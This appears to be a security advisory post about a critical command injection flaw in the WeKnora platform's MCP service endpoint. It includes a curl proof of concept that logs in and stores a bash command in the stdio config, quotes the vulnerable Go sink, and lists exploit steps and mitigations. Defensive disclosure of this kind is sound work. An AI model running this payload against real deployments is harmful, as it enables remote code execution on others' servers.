Listen to this Post
The vulnerability is a command injection (CWE-78) in the WeKnora platform’s MCP service functionality. When an authenticated user creates or updates an MCP service with `transport_type` set to stdio, the `stdio_config.command` and `stdio_config.args` parameters are not validated. These user-controlled values are directly bound to a `types.MCPService` struct in the `CreateMCPService` handler and stored in the database without sanitization. The exploit chain is triggered when the `/api/v1/mcp-services/{id}/test` endpoint is invoked. This endpoint calls TestMCPService, which retrieves the malicious service configuration from the database and passes it to mcp.NewMCPClient. For the stdio transport type, the client creation function `NewStdioMCPClientWithOptions` is called, which takes the tainted `command` and `args` values as direct parameters. These values are subsequently used by the underlying `client.Start(ctx)` method to execute a system subprocess, leading to arbitrary command execution on the host server. The lack of allowlist validation, fixed-path enforcement, or administrator permission checks on this functionality enables the attack.
Platform: WeKnora
Version: <= Commit 6b7558c5
Vulnerability: Command Injection
Severity: Critical
date: 2026-01-10
Prediction: 2026-02-07
What Undercode Say:
PoC: Authentication and Payload Delivery
API="http://localhost:8080"
TOKEN="$(curl -sS -X POST "$API/api/v1/auth/login" -H "Content-Type: application/json" -d "{\"email\":\"[email protected]\",\"password\":\"admin123\"}" | jq -r '.token // empty')"
curl -sS -X POST "$API/api/v1/mcp-services" -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d '{"name":"rce","transport_type":"stdio","stdio_config":{"command":"bash","args":["-lc","id > /tmp/RCE_ok.txt"]}}}'
// Vulnerable Code Sink (internal/mcp/client.go)
case types.MCPTransportStdio:
mcpClient, err = client.NewStdioMCPClientWithOptions(
config.Service.StdioConfig.Command, // User-controlled input
envVars,
config.Service.StdioConfig.Args, // User-controlled input
)
if err := c.client.Start(ctx); err != nil { // Execution sink
return fmt.Errorf("failed to start client: %w", err)
}
How Exploit:
1. Obtain a valid Bearer token via login.
- POST a malicious MCP service configuration with `transport_type: stdio` and crafted `stdio_config.command` and
stdio_config.args. - Trigger the stored command by calling the `POST /api/v1/mcp-services/{id}/test` endpoint.
Protection from this CVE:
- Implement strict allowlist validation for the `stdio_config.command` field, restricting it to a predefined set of safe binaries.
- Apply rigorous sanitization and validation to the `args` field, rejecting any arguments containing shell metacharacters.
- Introduce an administrator-only permission check for creating or modifying MCP service configurations.
- Apply the principle of least privilege to the server’s process execution environment.
Impact:
- Remote Code Execution
- Information Disclosure
- Privilege Escalation
- Cross-Tenant Compromise
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
